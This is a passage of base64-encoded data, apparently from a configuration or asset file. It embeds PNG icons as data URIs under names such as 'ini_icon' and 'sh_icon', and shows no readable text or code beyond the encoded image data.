2enNhRzhYeHRjU3FISzFZL2ZlaVRjYkF6ZzJQalo2TUtxcXhpS2hMZ0dpeVpQSmhQQytHVENocWVSNTM1ZmU5RFRjeC81S0dLMjgrTHdZZ3oveDEyQjMzZ0g1MFMvV2VKYWF0RHpSQzU2b0g0Mk9IYnVhQmtBVTB2eTBaYjY2YUtvS1JhVVZweDhGMnlyQWRqaDBUUzNPNjcvckhuMEMzcnZuSVQ5M0hOTHFWZUJmK2x0NE4rTlFYdmdLb0NvMVVhVWYrdEVyM2I4OWhPMDdIMm8yQXNOK0VoZTlTbW96Tno4dmt0ZzBURWpNZzZZYmdqNk1TZUk5QXV2Wk52aXVmWkEyRDBKKy9DaVFTc04rNkFDa1hUdWhISDIweWpwV1EzSFg5VVR5MHZpa1hGUUlxWnNsSmFzK3R1M1kwd1NBNDhmR0Q0ME1SMldoUXBXSnlFRHV1cGlmbnhQckFDcGcxT09VcUZNQ3l6Ly9CYkMxYXlBZmZSUXNsWWExWno5WS96S29YL3NxbU9KSDBEK0szQ2FLT1k2UVZYSVVxUktKUVQwMTNiWmo5OFNiYnpaSzR1UFArRG1nVkNKUXFwSVVibytXZDlTenc0TWlrOXo1aVY3T2ozOS9IZTdMMzRQeS9Fbnh5SG5pU2JnL093UGxUejhIZVhTazlIcXRUQXB4b0dFV0puQXRwWVoyN0dvQ3dJbG54c2VHaVVMRTdkcmV4TEd0R3VQOUFsUXgzc2ZDd0w5OVNpaU4vT0JtZUpOVHNQLzRjMEIzRC9SdmZMMG1BSXZNclNPZDFZbzB0SDNueEJzTkkzRGlHWjlDaWlxTXllZnpTS2V6U0tjU2NMaUxZTkJFTUJCRU1CUVV2WCtKT2dzbGw3LzhYY2pidHdFQkU4NnhaOEYvY2hyR3F5OERrbHhWMFN2bVdZV0NXR2M0M0JFZ3FaaVJNbEUrbEk2aGJUc2FBM2p1eERQam8xUUh5aFR5VitwRUh5NTJCMGkvU1ZCVTBlLzRiSzVVNjFJVXhJUHIxOEY2ZXVCODgxdEFNQVIxNzU0eTVWelB3My9meUNGcmU3aTNOd0RKYzJIYnRGSGcrZTJIcnRVWVR6L2NPa1FBM3J4OUpYN3V4RCtOajQ0Y2pDcEtoVUswcFVFRGx3MmxLa1o4WlF5WGJsbVl1SkpHVjFCRmIwVEQrbTRUaWt4dkZyMUx2NzF3RWRLNk82b3FPMFBHY1hFalplTTdaK2R3K21vSzN6ODBJTllOdCt1bnR3NXRidzRBdFJJU2FUTmpRdk5wVzhOWElZNThMdTlYWWRQRVM3OU80dkhYcnVQT1RnTmYzTkNCa0NyQkJlQjY4TSt1QjlkamNEeGdNbGxBcXVEQlZCbDJyNDNoN3U1ZzJkWlAvc3M1UExLK0haL2YwSFZiQUE4T2JadDQ0NDFHRVRqNTdQall5TUdvcFBqRmhhVE5zUjNST1ZJK2hFSkJCSU1oR0xvQlJWVXdrM1Z4WVRhUEM3TUYzTXc0d292MFVlak1HTnFEQ2diYURLeHVNeEF6aVArMWRNdmFMdnFPL1JmK2VXY1BOdmVwWXRsS0d3SDErdEV0VzRlYUF6QTZURGtnQzlLNDNFWTZuWUZ1bUg3VnJaWk1ENUFraWd6d2c0c3A3UHBZUkhTcTlYcW9TazBwOWxZTXNMaUhvei84QUlrOHg3OGRXQ2s2V1ZwN2MrNktSWkRmbFZhT0xROFNnRGNhNUVBcEFyTGk3L3dRSDRxVnRtUThVWWdLRDdYR21xYmp3cTA4RG56cml1Qi9mNHNPVTVVRlZTZ0Nrd2tMMXhJV3JpWXN6T1U0dnJKakdYYXViY0hWZVF0UGpuK0F3ZjRJSHJtdnM2cHBYRnpvU25jMmI5bjZFUUdJN1RLUnNaV0tDd2c2eVpLTVNDUWkxSUpvWWJzZVhqMmZ4QWRKRzJuTFJhckFRZlRvRG10WTIySGdqZzRUQSswNk5Ka2lDN3diejJOZGg0a0M5VlMyZzNBb1dGYTFVaGxlU0tOTld4NXNET0Q1azg4S0daVm9JdGV0b1F5cDBlVFVoOEp3MnZPa1BxaTBjMHp2djNNemo3dVdCTW84citaN3BlVW82Vk94UFhkZHBOSVo1UE01ZEhaMlFSSnJnUVZSS0Y1dTJyemxJd0NRWkxFMzZjdWxyL2EwNktBRUs2Mlk2RDdsQnhuLzB5a2JvNmV1NE5QTFF4aG9OeERXWkFRMUNkTnBHMWZtTFV3bGJhRStmL21wSGdRMEJzZTJvZXVsbHAzQnRpMmswbW0wdHJUNkxVVnh6dW9jR055MHVVa0FKS1BrM2JMMlY3Y0xsY0hmbjgzaTB2UWNmbitnQ3lGVHg5bnBETDc2OWl5bTB3NW1zZzdpR1FldEFRVVA5SVh3eVdWaFBMQTBpTjZZSVNLYlNLYkV4cGl1R2FJd0xxUnBzVUpXcjhTeGNYQlRNd0NPajQrT0hvejY0YThZWHFJRGVlZk1aQTUvOTVOcEhGekpzUDhUdllnRXlaTU0yVXhHbkVQQmtBQmZLRmlpc3l6dDBwRzZCSUkreFN6Ynd0eXRPWHpuc29mRGQzZWhOVUNkYWttaHF0bGZvZFRHallQTkFhQnUxSmVlaXJlcjkyMkd2bkVKWnlheitIaVhqdnY3d3JpN080QTd1MHdVMGdsMHhDS0loUXpvc2lTV2loa0VjRFB2WW1vK2owczNFa2g1T202a2JTeUw2VmpYcG1COWR3QnJlMXB4STIyaEwrWnZ6NVNheUlWN0ZZTWJOMDZjYmlTano1ODhQazZWdUZvNksvMU5CZEROakkxNGp1Tlcxc1ZNenNHdHJDUG9aQ3RCekdadHpPVTVWTmZDMHRZd09rSXEyZ01hTkNlTlZkMXR1S3M3QkZPVjhOckZKSDd3bTFtMEJUVTh0WFU1Z2xyVnVycW1FL2Fac0hId0R5Wk9uMjVRQitvQnFCU21CUkdoQng3REw2Wnp1QnpQWURabncvSlVCRFFKTVVOQkpwV0FGQWdqblhlUnREam1NcFk0VzY2RW5vaUdUeTJQNE5Ncm9tZ3gvYmFsc2d2aTAyWmgxZDVJRVRoOStyY1hza2drc3VIdm4vcWIxOFpHaGlNTGk1Y3ZDMFVBSWplcUoySGdEaGV0QlZYbGdndVlDaFBiNzlGWXJGeVpTOXpYYWRPc0hqMFhqVnNOQWhnYzNQVFQxMTkvZlFpQXhSaWpkcXVpdUo3bktiMjl2UnUyYjl2NjZnTWJOb2c5RlY4Y3lzc2wzM3l4RDFyVzhwcGFVMW1QbERTZVd1OWl5MTFsWE1VUk5JRlVXaCtMa2wrcEEwenN4UHFCOGV2TkN5Kzg4UE9YWG5wcHA2N3JkbjkvZjRFeDVwVU44RHhQZmVXVlY0ekhIbnRzZzJFWXFpUkpzcTdyQ21PTVBpUVI0cnZydXJMcnVvcm5lZUxzT0k1aVdaYk1PWmR0MjFaczI1YnBYcUZRb0RPOXd5Uko4aFJGNGJxdWMwVlJIRlZWdWFxcWppekxYTk0waDU1Smt1UXd4aHhKa3NSM09uUE9IYy96dU9kNURoMmRuWjJUTDc3NDRtVkZVYXdWSzFia2F5SkFGMlRVNU9Ta05qTXpvM1BPeVZobGJtNU9MUlFLNHB6TDVaUjhQcTlrTWhrNnEvUTluVTdUZHptYnpRcWpzOWtzQVNIREpjZHh5ZzVTRk1Vam8welRkRFZORTJBQ2dZQmpHQWJkczRQQklEY01nODUwendtSHczWTRISFowWFhkYVdscHNBaFVLaFFwcjFxekpNOGJzK3JXNmVOZnpQSGJ1M0RsVmxtVTltODBhWkNRWlQwRElXQUtReVdSa3VpYlBaN05aY3BlY3krVWtpZ2I5bmp4UG45SmVKMFdCUGhSMkFrQkFLQUtCUUVDY3lWRFROTWx3RVoxQUlNREpjRlZWODdGWUxOL2YzMS9tZlhWMXJ0ZDIxN1N3eGNoSWI3Lzl0cHhLcFdSVlZkVjBPcTNxdXE2bFVpbU5hTU01bDhqNGt0YzU1MlE0azJXNVBEN25uR2preWJJc3pwSWt1UVNDakpVa3lhSVBSWUNNQm1EZmM4ODlMbU9NTHpKbXdZMm1BRFFhcEFoU3lOU3BVNmRZUjBjSEM0ZkR6RFJOTVg0dWwvTlNxWlFYajhkRllqNzg4TU5rWERQL1lXZzQ5ZjhhZ0lZei9SKzk4UDhld1A4QWltc0ZtbW1PS1YwQUFBQUFTVVZPUks1Q1lJST0iLGluaV9pY29uPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQVlBQUFDcWFYSGVBQUFBQVhOU1IwSUFyczRjNlFBQUV1WkpSRUZVZUY3TlcybHNIT2Q1Zm1iMjFISjUzeFRGU3lSRlN0UjlXN2NjMjRFUE5MYjhJMnFhSG5FUndQMVQyejhDUk8yL0lrSGMxR21ER2k2S3RpaU1CazdkT0hXUUNqYXR5NVlpODlBdHhaWmtpYklqU3FRb2lVc3V1UWVYZTh3VTcvdk5OenRjN2pHVW0xb0NWc09kL1daMm51ZDdqK2Q5djI4VmZNbC9yNy8rK3BNZEhSM3JBT2hPcDVQdnBta2F2MUtwRkIvbE9mbzhHbzNpeG8wdnRQYjJ0cmYyN2R0MzgwdCsvWmUrWE1sMWgyZzA4WWl1Sng4Rm9CSTRPUzZaMUJDTFJYSDc5bTNscmJkKzFyRnYzNzV2alkrUHcrdjFNbUJkMTAzZ2tnZzZlandlVEV4TUlCeU9vTG01R1Q2ZlA5N1YxZjBqdjkrWFVsVkJYUFovQm9ITVluNjhtaHlRSHFkQWhlWlFIRWRMU254OTJhN09Ta0EwR25zbGtVaStwcHV3NWFVMFhBQzhmUGxUUktNaGpJMk53ZVZ5OFV3bmswa21nSTQwaGw2SlJJTEppY1ZtNGZNVllkZXVQYWlwcVlXcUtqeFdXQWNkNmQ3aXlmbXMrZDE2eG52NlNEYy9UNDgxeGhuWG11OTBRRkVVZUwyZVYwcExmWCtmU1VJdUFxYmo4V1F4WFdqOUo4Q2xjT1hLSjVpZUR2S01FbmdKV0pxOUJFOUgrandlbjRYWEs4QlhWZFZBVmNWRENmRDB0NXhlaFNsUStEOXhUb05pZVcrYzBSVCtQRDNXR0dmY1JsUDRLaDVBUTZGcjhIcmM0Zkx5NG1KYkJJVERNem9CdFJJZ1ovYnExU3NJaFlLWW1wb3laMTRDbGtUSXNRNkhBL0Y0SEc2M0Z6dDI3UHBLd0JPbHVnYTRYRTVVVlpYT20vQ3NGcEJKZ0FSMDdkcFZSQ0xUdUg5L0hCVVZGWWhFSW16RzB1K3RSQkQ0V0N3R2w4dURiZHQyZkdYZ3lRUTA2SEEvS0FFUy9QWHJueUVjbmtZb0ZHTEwyTFp0R3hOdzVzd1pmaTlKSUN1Zzl6TXpNM0E2M2RpeTVSRlVWNVBQLy8rYVBUc1RnVGRjUUJCUXRoQUxJQThUQVkxbVBoYUxJQktKY21EYnZuMDdUcDQ4aWExYnQzSmFreVRJbEVmRVVHVGZ2SG5yVnc3ZWRBRzNFOVVMSXlERkFlK3p6eTVqZG5ZR3dXQ1F5ZkQ3L1docWFrSkRRd05PbkRqQkpCRGc4K2ZQZy9MODFOUTBLTGcvTE9CTkYxZ29BYkZZbktOOVBCN0Q1T1FrbS9Wenp6Mkg0ZUZoQkFJQmpnRkVSbjkvUHgvSjN3T0JDYVJTMnNNRm5sMUF4SURxYXBzdU1EMGQwUzljT0krWm1RalBmRmxaR1VwS1N1RHorZERSMFlHaG9TRlVWVlh4NitMRmkwd1FpU0VTU1pzMmJYa296Rjc2UDZzTFRZUGI3VUtOWFFMT25EbXIzNzA3eHVDTGlvb1kvTTZkTzlIWDE4ZGsxTlhWNGRTcFUxQlZsUlhldlh0M2tVenEyTGh4ODBNSm5uSy9iUUplZU9HRnY5Ni9mLy9makk2T3NvS2pkRWJtWDF4Y2pEMTc5akFKTlBNVS9LYW5wMDN3R3pac2VpakJ5d3hsbTREVHAwOXIxNjlmVjhoc2FJWXBzR1dTY09qUUlSWkJnUUNadlk2Rmc5ZWhVRjYwU08ya2xqSVZuMTJGWjAxMWMvOFdacDlXbThJRmFtdktDNmZCM3Q1ZW5XWTNIQTd6RFNRQlJBSVJRa2V5alBIeEFBYzhPMmJQT0UxNUsxQWZQL0VSVkVXQjIrM2grNjVmdjRIMWJ4cThSZHR6U3A4cmJ4Y0NYcnFBTFFLT0h6K3UzN3QzandtUU15OUpvQWVsUUVoWmdJckVRdUFkRGlmcmhrZzBDdDhpSDdPZ1EySEx1ZmJacDJodGJUTXJ5Q1ZMV3BDa3VvQVowREVibjRYTDVZYXFxRWpwcVRuYWZpSGcyUVUwWFZoQXJRMExJQUtvd3JOYUFOMkV5S0E0UU9CSjVPU1A5anE3eUpFamh6RXlNb3dkTzNhZ3NiR05TeHNWQ3E1Y3VRSkZFWnBDS2tnaUFIQXdTV1FWLy9UR1AyTHR1alVvTGEzQTB2Wk9hQ2xSN0M0VVBBdENrc0p1SitwcUt3cTd3RWNmZmFSVEFMUVNRRE5QNEtuNkt5eHZkWmJMNzd6ek5yWnUzY0o2Z1VyaTR1SlMrUDJsVEdSLy84ZG9hS2lkVTBjc2JteUMwK0dHdytuRWUrOGRSSFZWT1dlY1ZDcUphSFFXblozTDRmYTR6UXF2a00rei8xdXFRYklBV3dRY08zYU1DWkNhWDg0OFJYd3FiTFp1M1ZZdzJsTU11WFhyYzVTVWxMS0owOE1Ra1ByNkpvUkNFUnc4K0N2czNyM1ROSCtScDcwb0tTbkhaRENJMDZkT1lzMmF0VXljN0JtczZGbU4yVmdDdWtLRmJscm55enh2RFhoVzhEU1dTbTRQRVZCbnd3S09IRG1pajR5TW1BVFF6TS9NUk9GeWVmSElJOXNMZ2ljemRTZ3FQdjMwRWtwTGk4MVpKaUJFNHExYnQ5RGQzYzFSV2xhUzhuai8vbjEyc2E2dUxpNmo2UjhSMk5Dd0dDV2xsVWJ2WUtIZ1JSUEhReTVRVjFuWUJRNGZQcXpUUTlMRFVzQ2pCeFVsN1U1VVYrZHVacWlxQXltaTJvajJ3ZUFreHNadXM1Q3lBaFZOa1BuZ3JXTUl0QnhIWTllc1dZL1lMRm1TQnVnS0ZOVUJUUlA5eHZ3enIzQ3pSZE0xdG9CNk93Ujg4TUVIT3VuOTJkbFpmb2hGaTRxd2Zmdk92UFU4UmV1alJ3K2plL2tLMU5iVThjTzUzRzcwOWg1RSs5S2xQSXZjcVRKNkI3bU9tZU1JSUZsZ2Erc3lKSklKT0ZRSDMrUFE0USt3ZHUwNmxKZFhtRVROTjNzRHZJaUM4SGhzRWtBNjRNNmRPMXpWK2YzRkJUczVOUE45ZlNmaGNDZ29MeS9qa3JteXFnNERBMzFvYm1wazFTZ2pmVDRTTXNITEJpdVJVRlpXaVliRlRlaDkvejJNalFrWG9tZGJ1V29EZEdyM21LMHdrU1UwTFExZTBSVHVJZG9tZ0Z5QWloMHllenR0TE1vUWI3NzViOWk3ZDY4WjFKS0pCTUtSQ05jUTB0d3p6ZHJxQnJLUElQdDEyU3poMnJWcmFHdHJZOUZFbjFOcDN0cmFqdXFhQnJKeGJueGtBOCt0UWU1S3U5QlFYMVU0QnJ6OTl0djY3R3djbTdac1JYVmwvazRPeWRuRFJ3NWp5ZUk2Vm9mNVRGdGFnYyszQ0RVMWRmRDYvSEE3WFh4TkxENkwwRlFRZDhmdUlCd0pNMGc1WG1ZQk9scEpJeEpvM09ZdE83a0twZmlRT2ZNU1BCRnJtNEFEQnc3bzMvM3VpNXkzcVhXZHQzdEwzV2xkeDkyN280aEd3MmJETlRPZ1NUQ2svSXFMeXhCUEpFV09OdHJnbE5pNE1hNEE5Kzdld2ZEd0YyYWJMZE45NUdJTFBSZkpaN2ZIYndURXVXWXZ3ZE00VFJjdXNOaU9CYnowMGt1alAvemhxL1ZrQmZaYTE5UjRWeEVNQmpBUnVEOG40Rm45ZU5teUxxaXFteDlHMGFsWGwxM2J3NkhpM3QxUjNCajZqRVdUZEE5cjQ1WEUxZG8xNnpFelM4RTE5OHd6ZUtQMzd2RzRzYmpCaGd2MDl2WnUycmx6ejZBa3dHN2YzdUYwNE1TSkQxRlRNemZvRVFtTmpZMG9LNjFDa3NEYktHd2NpaE1YZjNzTzRkQ1VxUVdrQzlUVzFxRm41VnBXaC9uTVhvSlhLT1d5Qzlna2dMNHhGSXJ5dW9CT09UZm5vb1VzYWNVWUtwZ29HSzVmdjQ0Vm5Nemo1S2VyVjYvRFRDeWVkK1psRUtOb3BpdmdJSGZzYUMvOC9yU09JRElwTFc3Y3ROMVlmaE9WWlVwTG1mcERhZ05SVllwVkYxcDVJaGRvWEZ4ZE9BaEtBaElKdVRCaWxpQ1dGUnF4UE5ZMzhERzBwSVpFSXM0UDdIU3FxSyt2bjZQeDZ4c2FVRmxaWitoeSt5VXRFWGZpK0RIb2VuS09GUmdXalJTRDhuTFJ0V2J0ZXJpY1lubk9Pdk1Ddk1pUlpBRzJDWmllSmdzUWtYVnVqVzRrWEVYRmpSdER1RHMyZ3NyS1NnWk00b2U2d2RaSVRaYXdyS3NiaTd6RmNwRXJSekV6WDk2Uy81ODljd3JUMHhObVBXRE5ERExRa21SKy9JbW5vS291S1Fjc00wOEdvRkdXcEtXeGhSSWdGaml5cmRXUjFqOTc5Z3hjTGxFbTV4SXhkTDZuWnpWY2J1ODhzWkp1V21iWDltUUJGeTZjdy8xN28yYnV0NlpFR1dESjh2YnVmUndlYjVIeHJOTHNEZkNjRG9RTExHbXNzZWNDMUJYbUdFQ1ZWNWFGU2tWVjhNa252MFV5R2VPSHN5bzhLeGxrQVVTQWQxR1I3Wm1YbVllT3BDWkRHUlpnVFl0a2JmUWRqei94SkZ4dW43blNLbHcvdmJCS2Y1RUZMSWlBQkMyT1VqVEtzVW83SGhqSEY1OWZoOWZyUmlLUlpOT1hBa1krSkoxcmEydEhaV1h0Z3BzWkZGVGZmLzhnVktRNGlrdVRseXBRRkdsT2pnT1BmdTNyU0NSMFVmaGtndWUwQTM3T2hSRmdDWUpabDZoMU1uK1ZtNXM2N3daSjRzaVJENHdtUnJxYW81N0E4dVdya2RTU0lGMXVqZmJHS25mV3FzN3RjdU9OTi80QlRVMUw1cWhDK3M0bm4vb0RLSW9UVG9jRGlXUVNzZG1FUlFaYlpwNjBCaStPYWt4QVUyT3RQUmVZbWlJWE1PUmxnZlY1WXBlK1FuVTZjZXpvSWZoOFFoSmJmWFREaGkzd2VuMVpyR0IrOTVaTW4vcUFsNjljUm4vZmg2aXZiekJqRE4yVDZvR2VWUnVSaU1lTmpSTnk1aWtkWndGdnNZQ21KUXNpSUprUkEzSnZUaUFsU1BiMzVyLy9LN3E2T2prbHlyaEFEMDA5dmsyYnRvbWRIVWFiS21jbmg0Ym9Pdjd1eHovQTZ0V3JURTBoaFJBMVdsZXVXbzhsVFMxSUphWGV5UEI1T2ZQR2tiNlhMV0FoQkpCcHBXTkFidkNxdzRuaDRadjR4WC85SEJzM2JzaXE0WWtFcjNjUk5temNDcWVScjdNMU02amVwejdFYXovNUVYcFdMTTlhWE5GMU5LYTV1UTJidDJ4REtrVVJJdnZNay9tTEpDQmNvSGxKblYwWENPdHBJWlJuNWxVSExwdzdpOU9uQjdCeVpZKzVSMGlhdjlVS2FBWXBXTGEwTEVWMzl3cHpUWVRPazlrcmlvcWpSdzlob1A4a2c2ZnVVcjRHQ2xrWmlhQnZQUHROSktqdktDVTJ4eG5oKzJLWFREb0lOamZaSkNBNEZkYVRSaEJrYnZQc3lRbU1qK1BpeGROczV0Ym9MNlZ3WnU2bUdhUTFSd3FPVHBlSFNRdE9UbUowOURZYUd1cTVoWmJaTXBON2oyU0s1TzlKSnRIUzFvYk5tM2NoSHFkbXFSSHdNc0NMSUNoY29NVTJBY0V3QjBGNTAzd2JrbFNuaW85UEh1YzlCT0pCazZpcHFVRXdPR1cyMVRJdGdzWlpRVm9iSVptelR0Y1NLUjBkeTFnWWtld21hNkg4di84UHZ3MU5jd2dIeURMek11dFFidlI2UFdocHRtc0J3YkJ1alFHRjF1cW9jdnp3V0M5YVcxdlExdFlKbjY4WWs4RkpuQm84YVpKZ3plUFpXbVBaK29aRUVqVm1uM25tV2NTTlBQLzU1OWR3NmVKWjlQU3NRbHZIQ2lTVGliemdxU0NpNTErMFlBSVNtVkk0OTFZMG9aZDBxQTRIN3lyUnFmaHdlL0Mzci80QTNkMWQ4OXBpMldZNUd5bEVBTTMrVTA4L3owQ3AxaUN4SXhvMUttYmpsZ3JUNHZPbTNpRHdoam9pQzJodHFiY1hCSU5rQVFsckdzeS9ENDhyQm1weThBTnFVQlVIVHZ6bU9PNk1Eak1BNlFKeWxxWEpXNjBpTFhIRnBrbnJaM3YyUG9icTZzVlUrSnI3QnZtSlpHTWxEM2hwQVJRRDJsb2E3Qk5BYlN1UkJtMkF6MUI0TG84YlAzbnRWU3hkMm1wcUF2TFo1Y3RYY01DaWdFZjdpcXhaZ2t5OXVibUZkNVRTcGl4clg3QzZ1aHBmZSt6cGd0RStjK2E1R1VLTG82a1VuQzRuT2p1YTdCRXdTUllRSnhjZ1krWTlsN2JyZVYxVmNHZDBGQWYvNXgzVTFZbmVBTTA4QmNhOWozNGQ4WGdTQXdNZjQrYnZoa3pOd0FYTlkwK2dvcnFlTGVuZC8vNVAzcDRqeFEvdE5QMmpiMzhIaXVJcUdQQjR4cm1JTThCckdtS3pjYmhjRHF4YzBXNlRnRWx5QWJrT1p4KzgxUFprd3BQQkFBYjZUdkJNTzUwT1BQLzhmbDdkb2ZXREMrZlA0ZXJWUzZBMUJhRVBFbmo2bVcrZ3FLaVU5UUZkODZ0Zi9weVZJN1hXbjN6cWFUaWRSWlo2WW02ZXp6bnpKSnJpQ1VRaU0yaW9yempmMXJxRWRyWFArWmQxcCtqa1pFaG5GekJYV08xM2N0SUtUK0ZnOWJ2UHI2T3NvZ3grZnlYN01PMHJ1SFZyR0ljUEhlVGxjVkhTeHZITi9YOE1oWm9hVkZVNkhMaCsvUnFLaTl4b1hyb01rVkEwKzh6clloc3NleXF0T2dtZkV0VWpnMDhpRnB0Qldaay9lR2RrYk0yamoyNmJ0ejAvUHdGNXVyZDJxenBleStWZDRlbnVMVW5abi8zSHYvRHVjVnE0cE1wdi83Zit4R2gwaWpZV3RSbDRxMmFLVEptYXFXbUZSKzk1ejJMUklwU1crRG56VUVVbzRwWU96eUkzN3llNFB6NkJ3RVJnK3ZXZi9uVEx1KysrZlNWejl1bDlWZ0ltSmtNY0EvaUxMYnV1SDJoelFyWVZHMTFzamVGeVdoRXJ3TkdaR0tkU3NiaVJYOXNUZ2FuVUxMcTdPcGcwMm9FU2p0QTVhcG9XOFgySGgwY3dmUHRPNk1EM1h0NDFOSFQ1ZkRid3VRbVlJQmRJV0Z6Z0FYZG1GRml1WW9zMXpGYWs2OExnYWZ6UTBEVzB0eldEV3VTMEJKY04vSzNibzZIdmYrL2wzVU5EVjg3bEFwK0hnR2tSQTlnRmZqL2dzM1Z2QzgyODNEWjFhbkFRNjlhdVJGbDVCVUxoMkx5WlovQi85Zkx1b1N2NXdlY2tJREF4YmJoQTVtNk1oVzlPRUhIVUVyVnp0SzRMZ1pmQ2h4NTZjTEFmUFQzTFVlUXY0MWhnTmZ1RmdNOU5RTUN3QUlXNkUvYmJXT2xtUitIbHF2U2lSZjVtaGl4cGVabmJpRmlEQS8xWXRxd1RKYVhsOFB0OXBzOHZGSHdCQWhJNVhDQjdHK3YzRFo1ZDBmaU4wZURnQUJPd3VMR1JVeTBGdkFjQm41T0E4Y0JVRGhmNENzRWJ5bzRlK3RSZ1AxYXZYb21hMmpyY3ZIbjdnY0huSllBa0swbmh6RjNYdHZiay9GLzV2SFEvS1c4TkN4Z2dBbGIxSUo0QWhtL2ZEbjMvZ0wyQVoxc0hqSTlQaVRSb1pvR3ZkdWJuYUh0ZHg4Y25mNFBPems2TVQweUhYdm5MRjNmZnZEbVVOOVV0T0EwR3AyZjBhRGhpN01sN2lNQWJoVTEvMzBrczcra0pQLy9zazNzRGdjRHBERUUzNzllT0N5R0Excm0wMGRHeFFkWGgyV1J0WmNuU1ZkU3djcU0zL1dKTTNIN09qeG1OazFMa0dGcEhqakt1RnplWit5TkllUzZ0NmFXMkozMGNTeVFSbkFnaUVwbU1mT2ZQL3ZUNSsvZnYwTXlMallDR2NzNzRtOVEwdmNST2lya3ZmbTRwaGVub0JrQkxySzcyOXZiV1gvLzY0RCszdFhWc1NCbGdSQitmT2g3aU50WmZac3BOMEpKcHNYTkxiSHVSN1Y5NVRwQWhmOXZLNHRmeUsxQXJBUWF4WE56b1NDYVNYRXBmdW5UdXhsKzgrT2MvSGhrWnVXN2NYWUszQWlUQXREaEJMOXB4U2E4WUFOcjdKOS9Ub29MTXJMeExtY0VEb0tWY2ovRTNIWWtZK25FdnZXZ2NIY2xTNkVWMFpCNnRwR2JXR3RiUE1pM1RhcnFaWnN3Rm5uR0JXSTBWNzYwelR3UVFZRHBINElnRU9oSmdBajZUUVFLTlRWa2ZrUDRtZ1BRRkVpZ2Q1VGtKMm5xa2EvSzlKRWc1eGdvNms1eHNCR1NlazZDekhUTk4zR3IrMGlMb0tOMkI3NTIxR3N5WW1zeFp5L1UrMi8xeVdVQyt1R1J4SEhOWU5vc3dQYzVpRWRacjVUVjVnK0wvQXRnclNrQW03LzVJQUFBQUFFbEZUa1N1UW1DQyIsc2hfaWNvbj0iZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUJBQ0FZQUFBQ3FhWEhlQUFBQUFYTlNSMElBcnM0YzZRQUFCYnhKUkVGVWVGN3RtMTFzRkZVVXgvL256cklVQkF4UkpDSWsydjJZaFdCMzJpZUREeElTdi9CSkRTWWFvb2dmVDM1cjRnTUVVSlJITkZGalRMQ0lFYVB5RVVFakQ3NlErQlVqVFdkWHBEdTcwOGFZU0FpQmFBVGJzdHU1eDF4Z1MzZmI3Y3hzWjdacjJYbTk1NTU3em0vdXg3bjNua3U0eWorNnl2MUg2QUJpc1pYTFdJdmNLZ2pYaEFtYmlCMUhSSTRObk9qNXcwODdvUUdJTCsvb1lvbWRCSEdISDRPbUpzdkRSR0o5SWRkN3dLdWVVQUMwSjQyMWd2Z0FRRzFlRFFsS2pwbExRb2lIdlVJSUhFQTgzckdVaFRoQmhQbEJPZVZYajRKQUpCNnhyZDc5Ym5VREJ4QkxHRytUd1BOVkRmOEE0S1NiTVhXV3I1dW9ubGNJd1FQUURadUEyS2hSakdmc3ZQbGVuYzY1Vm92cmhnTkExQXNoZUFCSjR3SVJvbVdENXM2Vzg3TFo3TCt1bnRRcE1Ca0FwZEt0SndRT0lLNGJQTllYMnpJRGIyT3NmamNBbDJUWklhSkhDem56MDJyT2dSc1gxOU1qQUdubGhtMHJFNm56NTNxcUZrdW1TMFRrMmthdG5oQTRnSFk5dlVzQUd5NWFUOVJ0NTh5blBYbFNwNUJYQUxXR1ErQUE2dlNqN21wK0FFdzBIR1lBZ01wSjF3dEpaaDdSd0d2eStleDM0d0MwcDlKSkRWakpYQjdIWGxRR0wzTXh0Z2VPRCtReStjbTB4NnBXSFIrVzdMWXRjMk1GZ0pqZXVaM0FtOVRvOWFFb1RGRm04QnY5Vm1aTHJVWml5WTR6Uk9LNk9vellaMXZtUTZPT3FqOHZtSEpONUh6Wko1YkVxVm85SVo1S3Z3YW1tb0FtQVZNSklKRktQOEJNbm5kUmRSQ3Z1d29SUDFqSVpRN1dVcEJNZHFZbGNYTFNCb2h1QS9OTFkyUXFBY1IxUThYVVgvaXhraG5uSVdpYlpQcVdxTVNDdFhZbVhrWk03MEJpTHdRT01iTVFoSmNCMGMzZ3MweThrSmplcnhXKzFtai9JZHN5OS9teHJWcDJBdittRG9EQUd3dFdaazg4Wld5UndJSlpQTFRWb2JsZFlENEt3c2RSVVh5cVdJemNJQ05pdjRCODA4NWx2NHJwWGZjUW5LK3ZCRXVlM0dwT0FCcGt1K1BNT1F1dGVCemdaUVQ1alFUWkJIcE91UldoNlBVT1NxdVpXVzFMajlpV3VUYVJNZzR5NDM1UGJsOFJhazRBVE5qUW56UDNLRHQxdlVPWDBPNldMRjhsb2lWbEFOSG84UERRRUM4dXpXb2IvUDNFTDZkbUZnQkE3ZncraDVvOG5laFIyLzc1bjh1clNaOGE0Nm9IbEdqNFJwTGFlb0swQ2xabTl3d0N3SU9EOHlLTDVwNGIrUkpFZHpLanlFUzNEMWk5eDJKNitqU0JGczMwSWZDM2Jaa0xkYjF6U1luNEZXS2VneEhlaXJiSUFocVJlUW5zYmRPS1QxeTRJQlpUSktMbWdCMjJaUjY2ZkY1NGVBWk1ndXdJeGlvV1dBcEg2Mk5tb2dnYjdQQTJDRXBJNEJNQkhGYkxJQXQ2a2NEZHhQUVhHTmVDOEVIVExZUC81MERJeTRyaUdnYzBkU2dzb0EvMG1RVXZqdGFTY1FXZ0tzYjA5T3NFMnR4RSt3RUc4WFk3bDlrNkZlZFZYVThBbEdCVGJZZUpmcDNxbnkrRDh3eGdxcVNidFg0THdQak5YdVZtS0tnL0YwOTBmZ2doSDFQNkpQRFJnSlY1TWlqZFU5SFRzQjdRNkdOeHIxQWFDS0N4RnlNdEFCNEp0SHBBd3liQkJ0OE5ldXdBM2dNaHJ3b25DVGtiZWpucTFkN1dFR2dOZ1hHbjNpRUZRcTA1b0JVSHRDYkJzVE56MkNreXJWWEFJNEhXTXRoYUJsdkxZUFh0ZHlzT3FNZ1E4VGlYdUlwTm5DaTVUb3NsN2J1SWVGNVpnY29Ca2lYK3ZyOC9leG9JdTl6SHFiQ3JoeTRDRXdHNG5IdWtqdHVyUHM3WlZtWjUyT1cranNYREFCRFhEWlY1TW1GV3Q0b1R3aTV2QmdEZEFCNGY5LzhaNS9yejVvSzRib1JhUHUwQWRMM2pGa2RxbXlGNDlCR0ZtZ09ZNlROMVl4eDJlVU1CVkNjdWhwMHU3M1hJSmxMR0JtYnNIcFdYMkdzWHpQV